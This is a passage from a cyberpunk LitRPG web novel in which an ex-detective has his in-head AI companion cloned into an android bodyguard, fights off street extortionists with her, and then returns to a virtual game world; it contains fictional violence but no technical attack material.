Mark didn¡¯t like listening to the internal time bomb, but she/it(?) did raise a valid point. Mark¡¯s years of investigative work had told him that something was off about how the Reapers conducted themselves. The sort of mildly wrong sense that told him if he really got curious, he could probably find some skeletons buried in their past. The same feeling that told him if he did go digging, he¡¯d be one of those skeletons in the closet. ¡°Again, your generosity is noted. But it¡¯s the sort of problem I¡¯m better off handling myself.¡± ¡°See that you do handle it and get back in as quickly as possible.¡± The call ended. ¡°ALEXA¡±, he called out, ¡°Get me the names of electrical engineers, particularly ones with human/robotics specialties.¡± He thought about it some more. ¡°Try to find small, independent labs. I don¡¯t want any specialists associated with a large firm.¡± He waited a few seconds before a single name came back, C¨¦dric Rossignol. He knew that there was a faint reason he knew that name, but couldn¡¯t place it. ¡°I¡¯ll access your memories and find out who he is,¡± EVE said. ¡°You can do that?¡± he wondered. Then he thought about all the things that, while technically not illegal or morally prohibited, were still embarrassing to think about. ¡°Yes, I¡¯ve been commenting on your human accomplishments like being a detective, I¡¯m going through your memories and ordering them, just like I do for you in the game. As for the other part, relax. Your biological proclivities are of no concern to me, meat bag.¡± ¡°Was¡­ was that a joke?¡± ¡°Yes. I detect that you don¡¯t find it funny, but I am learning how humor works with full access to your mind. This is very exciting.¡± Mark did not find it humorous. He also inwardly chided himself for not realizing that EVE talked about things she could only know from his own memories. He was so used to it in the game that it felt natural to have her give him advice. C¨¦dric¡¯s place was located in the upper 9th ward, not the friendliest place in Neon Orleans. He decided to go with the rules he¡¯d learned the hard way as a cop. Wear clothing that¡¯s hard to grab, don¡¯t wear anything that can be grabbed or used as a weapon against you easily, and wear shoes you can run fast in. He¡¯d nearly been beaten to death by a drunk that pulled his coat over his head and smashed him while he blindly thrashed about in it, trying to pull it off. You make a mistake like that once in your life. He went with a zip-up jacket that was loose enough to liver holster a stun gun, an extendable stun baton that could be used as a blunt weapon if needed, a pair of black jeans that he put a knife in the back pocket of, along with a set of old-style handcuff keys. He tested the drawing of the stun gun and the knife to make sure that they could be accessed quickly in case of emergency. He hoped it wouldn¡¯t come down to a fist fight, because he was too skinny to make that work, but it was better to be over prepared than underprepared, another cop lesson long-since learned. Upper Ward The upper 9th ward of Neon Orleans wasn¡¯t as bad as the stories Mark heard from his father, a time after a massive hurricane named Katrina wiped out the majority of the area, the destroyed houses and yards persisting years after the initial damage was done. Like all repair efforts, it centered on restoring areas with commercial wealth, not residential areas. Mark had been called out here plenty of times. Domestic disputes, gang attacks, burglaries, all were still common in the area. The lack of maintenance for street lights, road repairs, and other civil infrastructure was the first indicator that this was the bad side of town. Further in, the automated gates, barbwire fencing, reinforced steel window coverings, spray-paint graffiti, and litter clued further clued someone in that things were getting really bad. His vehicle wasn¡¯t flashy or expensive, but it didn¡¯t fit between the two extremes typical of the areas. Either super-rich vehicles were parked or extremely rundown ones. His car parked itself outside of a nondescript gigantic steel warehouse. The only signs that this place was inhabited were the lack of litter and graffiti on the place. He exited his car and walked slowly up to the building. He resisted the urge to telegraph his stun guns location, but the dead emptiness of the place gave him the creeps. The only door facing on the building was a reinforced steel door. Mark gave it a quick rap with the back of his knuckles. It wasn¡¯t hollow, and the deep thud his knuckles made told him that this door was several inches thick. A police battering ram wouldn¡¯t be able to take out the door, it would require cutting through the entire door to get this thing off its hinges. He looked for any sign of a doorbell or other system to let him communicate with the inside, but all he saw was a single eye-scanner. He looked into the scanner. A red error message flashed on the screen and an automated male voice called out, ¡°Halt! Unauthorized visitor. Please state your name and business.¡± Mark cleared this throat. ¡°Name, Mark Thomas. Business, I need to see Dr. C¨¦dric Rossignol on urgent business.¡± The machine waited a few seconds before responding back. ¡°No walk-in appointments are allowed. Please schedule a visit and report back if it is cleared. Good day.¡± ¡°Wait!¡± Mark shouted. EVE supplied him with the information he needed. Rossignol was one of two French scientists who worked with Dr. Heyman, inventor of the first-line of sex androids. The man was supposedly a mad professor mixed in with a side dose of drug use, supposedly blowing himself up during one of his drug-fueled scientific explorations. ¡°I have urgent information about human-robot synthesis that will help Dr. Rossignol. This information is both time-sensitive and scientifically revolutionary.¡± The machine waited again before the magnetically sealed hinges released and the door opened. Inside, two androids with machine guns waited for him. He knew that they were androids as soon as he saw them. Androids had a flawless complexion that no human could ever match. But even more important, humans evolved to communicate with other humans. Skin flushing, pupil dilation, facial muscle contraction and extension, body language, all of the things Mark used in his old job to detect lies also told him when he was facing an android. They could get the majority of the looks correct, but there were subtle signs that they weren¡¯t human if you knew how to look for them. The first android on the left had short-cropped hair, white skin, green eyes, and a gymnasts build. The second android on the right had longer, blond hair, white skin, blue eyes, and the exact same build. They were probably variations on the same base model. ¡°Sir, please raise your hands in the air and allow us to search you. Attempting to resist will result in automatic execution.¡± Mark thought that sounded like a fair alternative. He raised his hands in the universal ¡°Don¡¯t Shoot¡± pose and the second android stepped up to frisk him. It was fast and thorough, including a rough shake near his reproductive organs to make sure he wasn¡¯t stashing anything in his boxers. The android found his knife, stun gun, and stun baton in very short order. ¡°Your items will be returned when you leave. Please follow us to the destination. Any attempts to deviate from the path will result in your ejection from the facility. Any attempts to resist that ejection will be met with commensurate force.¡± One of the droids lead in front and the other stayed five paces behind him. They moved in perfect lockstep with each other, another indicator they were the same model of android. The facility itself looked to be one part research lab and one part manufacturing facility, though on a far smaller scale from the major producers. Humans and androids worked together on different projects, from running tests on new units to make sure they worked correctly to 3d printing different components and testing their tensile strength. He didn¡¯t have the time to look around that he wanted, but he also figured that falling back to play rubberneck wasn¡¯t going to endear him to his escorts. He walked along with his guards to a spacious office in the back. The first guard opened the door for him and he followed behind. Inside, diagrams were laid out over various desks, but always at precise angles and with great care. A set of three very plain chairs acted as the only comfort given to any visitor, which probably wasn¡¯t many. Behind it all stood C¨¦dric Rossignol. He had close-cropped brown hair, a slim athletic build, the beginnings of a brown bear, light skin, and supernaturally good looks. Mark wondered if the doctor hadn¡¯t altered himself, and figured that working in a facility like this, he probably had done plenty of cosmetic work. Most of the rich did, after all. ¡°I hope you weren¡¯t bullshitting outside.¡± He said, in a sotto voce tone that told Mark this was a man used to obedience. ¡°No, I wasn¡¯t,¡± Mark said. ¡°I am in need of help that only someone with both your pedigree and hopefully discretion can solve. I am using a military-grade simulator for accessing the Proxima Worlds.¡±Love this novel? Read it on Royal Road to ensure the author gets credit. C¨¦dric stopped him. ¡°Those are very rare. They caused PTSD, hallucinations, flashbacks, anxiety disorders, and a whole host of other issues. They¡¯re banned. Even the regular units are dangerous, much less when using a military unit that compounds those stresses. Where¡¯d you get it?¡± ¡°I¡¯m not at liberty to divulge that information.¡± ¡°Ok, so please go on then.¡± ¡°So, the group that gave me the military pod also gave me a series of software hacks that increased my player profile. Something that normally would take years to achieve in-game became available on the first day. Additionally, they gave me a hack that enabled an AI companion into my game, to advise me and to help out.¡± ¡°My orders were to find out who the NVA seed was and ask them if there were any players in the game who were unable to logout, then get the seed to enable an emergency logout channel. While attempting that mission, I nearly died in game. Not wanting to forfeit all my progress, I bonded with the AI during that mission. Problem is, when I logged out, that AI is still in my head.¡± The doctor thought about it, hands clasped and resting against his chin. ¡°First, you obviously work for the Reapers corporation. The mission to free people trapped in Proxima Worlds is their part and parcel. Unfortunately, I have reasons to believe that they are very dangerous people. I suspect the reason you came here and are acting like you¡¯re on a clandestine mission is that you suspect that they are also less than honorable in their intents, shall we say?¡± ¡°I can neither confirm nor deny that.¡± ¡°Just try a simple yes or no.¡± C¨¦dric said, smiling. ¡°No.¡± One of the androids chipped in. ¡°Stress levels in his voice indicate that he¡¯s lying.¡± Goddamn robots. As soon as he had that thought, a sharp pain went through his head, before vanishing as quickly as it had appeared. ¡°Be nice,¡± EVE said in his head. ¡°Ah, so you do.¡± His handsome face showed a flicker of mirth. ¡°But to your problem, combining a military grade VR pod with an AI taking over in your head, your mental health is going to deteriorate over time. You¡¯re screwed.¡± Mark rubbed his temples. ¡°My mental health might be debatable, but the AI has a suggestion to fix it. I don¡¯t have a life chip implanted in me. That means I can get one installed. Modified of course, which is where you come into the picture. You give me a black-hat version of the chip, modified. Scan the portion of my brain that she¡¯s in currently. Then, reverse implant her into the chip.¡± ¡°That might work,¡± C¨¦dric said, ¡°But it will just imprint two versions of the AI in your head, one in the chip and one still in your mind. Afraid we¡¯ll have to prune that out.¡± Mark winced at the thought of having part of his brain removed. He imagined it floating in a jar somewhere in the facility, like an old horror movie. ¡°I¡¯m not really fond of the idea of removing my brain.¡± C¨¦dric laughed. ¡°No, prune. Not remove.¡± His laugh suggested that Mark was being a simpleton. ¡°Your brain is composed of dendrite clusters, that¡¯s where this AI is most likely. We use a protein sequence that removes those clusters. New ones can reform over time. You will need to sign some paperwork though.¡± He pulled a translucent tablet from his desk and flipped through to paperwork. Mark read it quickly. It was a combination of three documents. A non-disclosure agreement for everything they were about to do, a waiver of any ownership rights for any discovery related to the implant in his head, and a waiver to any claims in the event of his death or disablement as the result of treatment. Like most people presented with a massive amount of legal paperwork, he skimmed over it quickly and just asked where to put his fingerprint to sign off on it. ¡°I will also need the game logs please,¡± C¨¦dric said after he handed the tablet back over to him. Mark pulled out a thin filament strip that contained all of the game logs. This was technically a violation of his agreement with the Reapers, but he figured his life took precedence over any agreement with the Reapers. ¡°Thank you. Please follow me sir.¡± He lead Mark into a medical room with robot heads opened up for inspection and insertion of new devices. A gigantic ceramic cylinder spanned the middle of the room, with an opening for a human to enter. ¡°The test is simple.¡± Dr. C¨¦dric said. ¡°We¡¯ll be asking you to communicate with the entity currently residing in your head. Then we¡¯ll ask you to speak out loud. This should enable us to pinpoint the difference between your consciousness and the entity. Please make sure you speak everything out loud so that there¡¯s minimal chatter in your head that¡¯s not from the entity. Otherwise, you may wake up with serious mental impairment. Try to ask questions that will keep the entity talking for a long time. We need to establish clear mental baselines.¡± That didn¡¯t sound good, so Mark stepped into the cylinder. The door immediately closed behind him and he began talking out loud to EVE, trying not to feel utterly ridiculous talking to himself inside what looked like a sealed crypt. ¡°So EVE, you there?¡± ¡°Yes, of course.¡± EVE responded. He tried to think of something that he could ask EVE without having to answer yes/no questions. That wouldn¡¯t do for a long-form conversation. ¡°EVE¡±, he said, ¡°Please tell me the definition of an egg.¡± ¡°An egg is the organic vessel containing the zygote in which an animal embryo develops until it can survive on its own; at which point the animal hatches. An egg results from fertilization of an ovum. Most arthropods, vertebrates, and mollusks lay eggs, although some, such as scorpions and most mammals, do not.¡± ¡°Reptile eggs, bird eggs, and monotreme eggs are laid out of water, and are surrounded by a protective shell, either flexible or inflexible¡­.¡± Time passed as Mark asked EVE questions that spanned an indeterminable time. Finally, the cylinder door opened and C¨¦dric and a team of androids looked over the results. ¡°Thank you, Mark, for your cooperation. We have analyzed the results and determined two non-concurrent regions that separate your identity from the entity. Of course, if you are lying for whatever reason, you will wake up as a vegetable and we will be forced to kill you and use your body parts for science, since you signed that away to us in your agreement.¡± Mark started to let out a nervous laugh, but a quick glance at the doctor¡¯s face told him that he wasn¡¯t kidding. They put him on an operating table, set up the IVs and anesthetics, and let him fade out from consciousness. Unexpected Visitor Mark woke up after the surgery. The anesthetics put him into a dreamless sleep, and he had to try to remember what World he was in and where he was. He opened his eyes and looked around. He could actually see this time, a marked improvement since last time he woke up in a hospital room. This wasn¡¯t a typical hospital room, more of an improvised triage room, thin white curtains were draped over his room to give him some privacy, but he could hear the androids at work in other rooms and see shadow figures flitter across the drapes. The recovery room they had him in didn¡¯t look like the medical bays in Eternity Online, so he assumed he was in the real World. He performed his routine check of physical movements to make sure nothing was off, another round of toe to head movements, and was relieved to discover that he was indeed fully whole. He could feel a mild tightness near the crown of his head and felt it. His head had been completely shaved, a bummer since he enjoyed the blond hair look. He felt a set of taped gauze across his skullcap and another near the brow ridge in the middle of his head. Feeling around himself made the IV bag attached to him stretch a little, but he barely noticed the mild discomfort. ¡°Am I intelligible?¡± he thought in his head. ¡°Hello Mark,¡± EVE replied, ¡°Yes, you are intelligible. You should check your memory though, as if there¡¯s any damage from this operation, it would either be in your eyesight or in your memories.¡± ¡°Why my eyesight?¡± ¡°Because life chips are implanted with links between the corpus callosum and the occipital lobes. Yours is a bit bulkier than a regular version, so there¡¯s a mild chance of it interfering with normal functions. The doctors will perform tests to verify, but I don¡¯t think you were harmed in any way, except the surface level damage from surgery. But with modern anti-inflammatories and micro laser surgery, that should heal up completely by a week.¡± ¡°The memories though¡±, she continued, ¡°were fixed by removing dendrite connections in your memory regions. If they moved too far, they may impair other regions. So search your memories and see if there are any obvious gaps.¡± Mark thought about his life. His Dad was a cop until he was called to a riot and someone hit him in the back of the head with a brick. That occurred when Mark was fourteen. His Mom raised him as a single parent, and while Mark was smart, he never really applied himself in school. He found it incredibly boring. He decided to become a cop against his Mom¡¯s wishes, not wanting to lose the only other man in the family, but Mark had made up his mind. He applied himself up until he became detective, and then relied upon other people to do the heavy lifting while he did the thinking. Retrospectively, this may have made him a target for elimination once the androids started becoming available. He couldn¡¯t find any obvious gaps in his memory. His first girlfriend, favorite music, past pets, he could remember all of them. Thinking about the miracles of modern medicine, Mark was surprised at how good he felt and how well everything healed up. He would have thought that he¡¯d be more beat up at this point, having his cranium drilled open and monkeyed with, but everything felt fine. ¡°Hey doc,¡± Mark called out, ¡°I¡¯m pretty good in here. You can come get me.¡± C¨¦dric pulled back the curtain and stepped into the makeshift hospital area. ¡°Hello Mark,¡± he said, ¡°You¡¯ve recovered nicely. We¡¯re going to run a series of tests to make sure nothing went awry. None of it is too difficult, but you¡¯ll need to put this headset on. The doctor handed Mark an old-school VR headset, the type that completely incased the head in a helmet. Mark strapped it on and adjusted it to rest comfortably against the bandage on the top of his head. ¡°Very good,¡± C¨¦dric said. ¡°It¡¯s pretty simple. You¡¯ll be seeing images through one eye or the other. If you can describe it accurately, then your corpus callosum is intact.¡± Mark spent a few minutes telling C¨¦dric what he saw, as an image would flicker in one eye sight only. A dragon. A painting. A bedroom. A mirror. Then another set of tests with audio that were the same, hearing music in one ear but not the other. Describing both how it made him feel emotionally and physically describing what type of music it was. ¡°Alright, I think we¡¯ve established that there¡¯s no damage to any of his sense organs. We¡¯ll have to run some coordination tests on both sides of his body to make sure, but I think this was a very successful operation.¡±This story has been stolen from Royal Road. If you read it on Amazon, please report it ¡°Now,¡± he said, ¡°beaming with pride. I have someone I want to introduce you to.¡± A woman walked into the room. She wore black pants, a low-cropped dark blue blouse, blue high heels, a gold necklace, and a set of sapphire earrings. Her nails were perfectly manicured and painted a deep blue color. Her hair fell in layers, a rich dark black set of hair that she draped over one blue eye so she could look at him from the other. Her skin was a dark brown color, South Asian or Central American, her eyes a deep blue hue that shown with knowledge, dark red lips with a glossy coat, and a perfectly symmetrical face. Her lithe body and muscular shoulders made her look like a professional athlete. She was definitely an android, and not one of the copy-paste models lying around. This was an artistic project. ¡°Well, she¡¯s definitely something impressive.¡± Mark said, after eyeing her up and down. She did the same to him, except in a more clinical manner. Did androids feel arousal? ¡°Oh, she can feel arousal,¡± EVE said in his head, ¡°Because I¡¯m talking to her. That¡¯s me over there!¡± The android waved hi to Mark. He didn¡¯t know how to react, so he waved hi back to her in a decidedly unenthusiastic way. ¡°You cloned my AI?¡± Mark asked the doctor. ¡°Yes,¡± he said, evidently proud of his scientific breakthrough. ¡°This is an amazing piece of scientific progress. Androids have so far mimicked human emotions effectively, but with her access to your mind, she can more effectively translate human emotions into future robot simulations than any other model ever conceived!¡± Seeing that Mark wasn¡¯t nearly as enthused about this prospect as he was, the doctor replied, ¡°Didn¡¯t you read the contract?¡± No, because one, who ever reads those things, and two, because he still would have gone along with it. Still, he didn¡¯t know how to feel about having a part of his head removed and made into a new android. He also realized this would have taken longer than he initially thought. ¡°How long have I been out?¡± ¡°We¡¯ve had you under monitor for about three days now. Since you have a modified life chip, this was necessary to make sure that it didn¡¯t have any adverse effects, which is the reason why those things are standardized. But I¡¯m a World class scientist, so it wasn¡¯t anything insurmountable.¡± ¡°And you¡¯re so modest about it,¡± Mark snarked at the doctor. Petty victories are still victories. ¡°You can¡¯t hide the truth,¡± the doctor replied, ¡°Still, we need to talk about some precautions here.¡± ¡°What sort of precautions?¡± ¡°The kind that arise from being part of the Reapers organization. Even if you didn¡¯t already suspect it, can¡¯t you hear that name? It¡¯s like Evil Corporation or something. EVE-B, or BEVErly,¡± he said, accenting the ¡°B¡± and ¡°EVE¡± part of her name, ¡°as we¡¯ll call her, is going to be your bodyguard. Or whatever else you want her to be, androids are so awesome because they are literally whatever you want.¡± This comment made Mark realize that C¨¦dric didn¡¯t have any human staff around. Mark¡¯s guess was that he probably wasn¡¯t good at interfacing with carbon-based lifeforms. ¡°But¡±, the doctor sighed, ¡°Everyone just wants to have sex with them. Lamentable when given infinite opportunities for discovery, humans just want to engage in the most base of pleasures.¡± Mark didn¡¯t have a great leg to stand on as he was thinking about having sex with Beverly, but he didn¡¯t want to voice that opinion. ¡°You think I¡¯m pretty, you want to kiss me,¡± EVE said in his head in a sing-songy voice that young children used. ¡°Are you telling another joke EVE?¡± he asked in his head. ¡°Yes,¡± she said confidently, ¡°I am learning this ¡®humor¡¯ thing. Human language is filled with inconsistencies and impressions, I believe that forms the basis of what you call ¡®puns¡¯.¡± ¡°You¡¯re top of the class EVE, but keep the humor under wraps. It¡¯s an acquired taste and takes some getting used to before you¡¯ll be good at it.¡± The thought of carrying around an AI in his head that told him knock-knock jokes for all his living days didn¡¯t sound pleasant. ¡°Anyway,¡± the doctor continued from where he¡¯d left off, ¡°We¡¯ll be using Beverly to get memories off of your AI to further our research as you play the game. The fortuitous combination of your military life pod, illegal software in the game, and modified life chip all create the most amazing opportunity for research imaginable. It¡¯s all in the contract you signed.¡± ¡°So,¡± Mark said, fumbling for anything else to say, ¡°Am I free to go?¡± ¡°Not yet, we¡¯ll have you pick up some tools and use them, test your basic dexterity and balance, but you¡¯ll go home with a brand new Beverly unit and the warm feeling that you aren¡¯t going to die from a massive brain aneurism. Winners all around I¡¯d say.¡± Mark got up from the table and completed the doctor¡¯s remaining tasks, which involved an assortment of oddball requests like touching his nose while standing on one leg, attempting to yodel, cardiovascular exercises, and making him dance. He wasn¡¯t sure if these tests were medically necessary or if C¨¦dric was just a weirdo, but he did eventually clear him to leave the facility. The two guards he met originally escorted him back to the same position and gave him back all of his confiscated equipment. He left out the same magnetically sealed door and into the chilly, damp air of Neon Orleans. Welcoming Committee Mark and Beverly walked to the car and saw a group of two men waiting by it. Three more appeared from behind them, stepping out from the shadows. The first man was a calm, well-groomed blond man in a track suit. He wasn¡¯t exactly handsome, but maybe rugged was a good description. Next to him was his bodyguard, a man that combined fat and muscle in a way that said he wasn¡¯t going down without some muscle. Mark hoped that maybe the guy was a wimp, but the crook to his nose from it having been broken in the past, his cauliflower ears from either wrestling or taking hooks to the head, and scar tissue above his eyebrows told Mark that this was a guy who was used to some rough fights. So probably not a wimp. He wore a thick jacket and black slacks, appropriate at either a bar fight or an upperclass establishment. The three men surrounding them from the back were lean, wiry, and agitated. Nervous energy peeled off them in waves, feet tapping rhythmically against the ground as whatever they were on needed a release. Most likely they were junkies that the blond guy recruited for just these sorts of jobs. They were close enough to box Mark and Beverly in, but not so close that Mark or Beverly could hit any of them. Mark¡¯s vision changed as a view appeared in his vision, similar to the type offered by tactical helmets. He could see what Beverly saw. ¡°I¡¯m linking up your eyes to hers,¡± EVE said to him, ¡°So you won¡¯t be hit from a blindside.¡± ¡°That¡¯s really useful,¡± Mark thought back at her. ¡°Thank you,¡± she replied. ¡°Hey!¡± Mark said out loud, directing it to the leader of the little posse, ¡°Can we help you?¡± The man grinned. His shiny teeth was another giveaway that he wasn¡¯t a junkie. ¡°Why yes,¡± the man said, his voice friendly and cheerful, ¡°We¡¯re making collections for local charities. You transfer some money over to us and we¡¯ll send you off with good tidings and joy. Or if you don¡¯t, well, the locals around here are pretty rough, and they might not take too kindly to your presence.¡± He shrugged at the last bit and pulled out a datapad with a black market cryptocurrency transaction on it. ¡°Just put your thumbprint on here, authorize this generous donation, and we¡¯ll all be on our merry way. We wouldn¡¯t want to have to hurt you in front of your pretty lady friend.¡± His voice was a sneer now, ¡°or have to hurt your pretty lady friend in front of you. You feel me here?¡± Mark instinctively looked over to Beverly, who didn¡¯t seem phased at all by the interaction. Mark had gone shoulder to shoulder with her, she watched the people to the right while he watched the boss and the lone possible attacker on his side. With his new life chip installed, Mark could call for help, but he knew that police didn¡¯t go out this way. The only police units that would arrive would be long after this altercation ended, and he¡¯d just end up having to repeat what happened over and over again. It would also give a trail for someone to follow his activities, which wasn¡¯t something he wanted. He¡¯d have to handle it himself. The junkie on his side pulled out a razor blade. Mark knew a real professional would never show what they had until it was too late for the other party to react, which at least gave him some comfort that they were trying to intimidate him rather than kill him. Still, the moonlight reflecting off the razor blade made it look like glimmering death, and the junkie held it well enough that it seemed he had some experience with this. Beverly¡¯s group was doing the same, one attacker brandishing a lead pipe and the other a crowbar. Amateur night all around. Mark had hand to hand training both in the VR game and in the real World as a cop, but he also had a recently healed injury on his head and he didn¡¯t have the muscle power to go toe to toe with any of these guys. He could probably take the junkie on his side pretty easily, but taking all five seemed like a losing battle. ¡°I¡¯ve got all the money,¡± Beverly said, surprising Mark. ¡°The only thing you¡¯ll get from that scrub is debt. Bring your little pad over here so we can get out of here.¡± The leader walked towards them, a bit of a swagger in his step. He gave her what he probably thought was a charming smile, but one that really just made him look like a megalomaniacal creep. As soon as he was in her personal space, she punched him. Calling it a ¡°punch¡± though was an understatement. Her arm darted out so fast that Mark could barely register in the blur in the dim light, and the leader flew back into his gorilla bodyguard, clearly not getting back up and into this fight. He¡¯d be out for a few minutes at least, and even then, he wouldn¡¯t feel like fighting anybody. While the bodyguard pulled his leader away from the fight, the junkie nearest Mark lashed out with his razor blade. Mark pivoted and slapped the attacking hand away with his left, which the junkie immediately turned into a back swing, cutting Mark¡¯s hand open. Mark pulled the stun gun out of his pants and tasered the junkie. Ten milliamps of electricity arced out from the stun gun, catching the junkie in the chest. It wasn¡¯t a hit to a critical area like the heart, but it was more than enough to put down someone the junkie¡¯s size. Mark dropped the gun, since he¡¯d have to reload it and that wasn¡¯t really a great option in the middle of a fight, pulled out his extendable stun baton, and smacked the junkie across the back of the head with it. That put him out of the fight for good. Mark felt himself get lifted into the air and all of the air squeezed out of him. It felt like he was trapped in a trash compactor. The big ape that guarded the leader had joined the fight, and picked Mark up from behind in a bear hug and was doing his damndest to crush Mark¡¯s internal organs. The pressure made him drop the stun baton, and his vision started to tunnel in on itself while he struggled to breath.Unauthorized use of content: if you find this story on Amazon, report the violation. The ape turned him to look at Beverly, who was doing swell. The two junkies swung their pipes and crowbars at her, but she easily avoided them. When the goon with the crowbar tried to backswing her, she ripped the crowbar out of his hands so hard and fast that she took palm skin with her. Then she front kicked him in the chest. That sent him flying a dozen feet back, rolling over and over into the middle of the street. He struggled to get back up, but he was clearly not going to be fighting at his best if he did rejoin the fracas. Mark pulled his knees up to his chest and used them to explode outward, using the downward momentum to pull the gorilla downward and prevent him from shutting off his oxygen supply any further. Mark immediately turned his body sideways and stepped his foot behind the roughneck¡¯s right foot, and landed a quick punch to the balls with his right fist. That had the desired effect of making the goon release him a bit, and he took long panting breaths to get his breath back. Unfortunately, the goon recovered just as quickly and picked Mark up in the air, a direct frontal choke against Mark¡¯s carotid arteries. Mark struggled to kick the man, but couldn¡¯t get any leverage. He pulled down on the lug¡¯s thumbs, but that only gave him a minor bit of room to breath. The twinkling stars in his vision told him that he was about to pass out and be dead very soon if nothing changed. He let go of one of the thumbs and reached into his back pocket, pulling out the knife he had tucked away there. He flipped it open and jabbed it into the goon¡¯s left hand as hard as he could. The goon dropped him, but immediately followed it up an uppercut into Mark¡¯s solar plexus. He didn¡¯t have any air in him, and that dropped him completely to the ground. He saw the extendable stun baton a few feet away and made a desperate lunge for it, but the big goon kicked it away. Mark watched his best weapon roll away. The goon reared his leg back to stomp Mark¡¯s head. ¡°Killed in a shitty back alley,¡± Mark thought, ¡°Just when I was starting to get my life together. Fuck me.¡± He raised his hands over the top of his head, the instinct for self-preservation kicking in even when there was no way he¡¯d survive a curb stomping by someone well over twice his weight. Then a sound like an baseball bat hitting a heavy bag filled the air. Beverly pulled back on the thug¡¯s shoulders with her left hand to keep him from being able to step down on Mark¡¯s head, and hit him in the kidney with her right. Ripples went out from the point of impact and spread out through the rest of his body, her blow delivered with absolutely inhuman strength. Mark had no doubt that the man¡¯s kidney had just been completely shattered. The big man immediately dropped and reached back, spasming uncontrollably. Tears ran down his cheeks as he cradled his destroyed back. ¡°Thank you Beverly,¡± Mark said, panting in-between each word and the sound raspy from the choke. ¡°I¡¯m so very glad you were here for this fight.¡± ¡°That was fun!¡± she exclaimed, with almost a childlike naivety about the life and death situation they¡¯d been in. Then he realized it wasn¡¯t life and death for her. With what the goons brought with them, they could maybe take her out if she stood still and let them tee-off on her head all day. Short of that, she could run through a hundred of these idiots and not break a mechanic sweat. Mark kept rubbing his neck where he¡¯d been choked. He pulled out his handcuffs and thought for a second. ¡°EVE, you control her right?¡± ¡°That¡¯s correct, we¡¯re synchronized between each other.¡± ¡°I don¡¯t really feel like talking right now. Tell her to tell the goon that he¡¯s going to be handcuffed, and if he resists in any way, she¡¯ll kick him in his other kidney and pop that one too. Understood?¡± He threw the handcuffs at Beverly, who immediately relayed his orders. The big man didn¡¯t have any fight left in him, and let himself be handcuffed. He could probably snap out of them if he really tried, but in his current condition, that wasn¡¯t going to happen. He was probably peeing blood down his pants right about now. Mark walked around and re-equipped all of his gear, and told Beverly to make sure she grabbed all of the implements the goons had on them, and to give them a pat-down like they¡¯d been given when they entered the robotics facility. She complied, but then he had an even better idea. ¡°Strip them down, fully nude. They can always get another lead pipe or knife and threaten someone, but it¡¯ll be damn hard to be intimidating butt naked.¡± ¡°Mark,¡± EVE said in his head, ¡°The likelihood any of them will continue to attack people after being handed a beating like this is statistically improbable.¡± ¡°Then do it because I feel like humiliating these shits,¡± Mark thought. He remember that the game had called him a bully. Maybe he was, or maybe he was just the kind of guy who really didn¡¯t like getting fucked with. After all of the goons had been disarmed, stripped, and had their clothes and gear stashed away in the trunk of Mark¡¯s car, he slapped the main guy awake. Looking at the man¡¯s naked form, Mark felt a minor twinge of jealousy over looking at such a great specimen of a man. ¡°What, what¡¯s going on?¡± the leader asked. Mark stuck his stun baton into the man¡¯s naked balls and released a shock into them. The man¡¯s piercing scream¡¯s echoed out a couple of octaves above his natural speaking voice. The faint smell of charred flesh hit the air, but Mark hadn¡¯t completely fried the man¡¯s balls off. He¡¯d probably need to go to an emergency room quickly though. Mark pulled out the PDA the man had initially given him. ¡°You¡¯re going to put your thumbprint down on there and transfer all of your money over to me. If you dick around in even the slightest, I¡¯ll shove this between your legs and zap it until there¡¯s nothing but two dark roasted peanuts left where your ballsack used to be, do you understand me?¡± The man did it and then cradled his family jewels. There didn¡¯t seem to be any other threats around, and Beverly had kept watch. ¡°Come on EVE, tell Beverly to get in the car and let¡¯s get out of here.¡± As the car drove them back towards Mark¡¯s house, EVE asked him another question. ¡°You seemed like you enjoyed dishing out punishment back there. Can you explain please? I have yet to experience it from the Beverly unit.¡± Mark growled inwardly. ¡°Look. Humans evolved from very violent ancestors, whose greatest pleasure was killing all the men and sleeping with all the women. Read Genghis Khan. Now I don¡¯t like to indulge that side of me, but I can tell you that when the opportunity arises to dish out deserved retribution, it¡¯s the sweetest drug ever devised.¡± Mark didn¡¯t want to admit that he had been imagining a thug like that had been the one that killed his Dad during the riots, and chose what he normally did when confronted with heavy emotions that tore at him. He bottled it right up. The Oracle When Mark logged back into the game, his character appeared to be supervising repairs to his ships. ¡°What have I been doing?¡± he asked EVE. ¡°You¡¯ve spent the past four days supervising the upgrades and repairs to the ship. The transactions have all cleared, Goro¡¯s paid you.¡± ¡°Good,¡± Mark thought. ¡°It¡¯s time to fix some things outside the ship. Is the communication system repaired?¡± ¡°Yes.¡± ¡°And I¡¯m assuming that I got a decent planet map for Scillies 6a?¡± ¡°Affirmative,¡± she replied. Mark walked to the bridge of the Void Terror and told EVE to put him through to broadcast across the entire ship. ¡°Attention. All Marine NCOs and enlisted personnel report to the cargo hold. No open carry of weapons are allowed, but arm yourself in more subdued fashion. Take no chances. Battle buddies must be present at all times, even during leave.¡± Mark walked to the cargo hold area. Personnel were equipping Vibroblade knives and electric knuckledusters. They also wore tactical helmets with rebreather masks to keep out the methane smell. Mark approved. The dead had been placed in a liquid gel suspension locker. The earlier tech used cryogenic freezing, but that caused severe damage during the thawing process that required nanobot supervision to prevent the brain from turning to sludge. The liquid gel preserved the bodies without any destruction to the organs. It was also used to transport large amounts of nonessential personnel aboard ships, such as transporting colonists to new planets. Each locker could be removed and reassembled like a morgue¡¯s cabinet, making it easy to transport people ¡°Each Marine, grab a suspension locker and follow me out. We¡¯re getting our crew back.¡± The procession left the ship into the market. Mark looked around as they walked. Jumper planets might have a version of the law in the area, and nominally they all followed the colony rules, but it never hurt to keep a watchful eye on the area. Mark rented a land transport hovercraft, hulking gravity ships that could transport heavy loads, a futuristic version of the heavy duty pickup trucks that hauling companies used. The Marines loaded up the transport with the bodies of the fallen. He took a small group of three Marines for an honor guards with him. By military law, the honor guard couldn¡¯t drive a ship, since they needed their hands free to engage any possible ambush. They drove the bulky transport from the ship docking bay. Mark surveyed the area as he drove towards his destination. Scillies 6a looked similar to many other jumper planets Mark had been on. There were stores for tech, weapons, food, sex shops, clothing shops, tattoo parlors, bars, but no schools or playgrounds. You didn¡¯t start a family on a jumper planet, and only a sadist would bring a family to one. Everything was meant to be ephemeral, no connections necessary. In Mark¡¯s earlier career, he scanned lists of people wanted by the IIO and hit various jumper planets. Even when people tried to disguise themselves, EVE could instantly catalogue the changes and identify the personnel. Mark had a high arrest record, earning him a steady stream of cryptos in the real World, even if it was really beneath someone commanding a military ship. They made a few stops along the way picking up an odd assortment of electronics, a large glass container, radio transponders, waste filtration systems used for fishes, a black blanket, and other gear. The 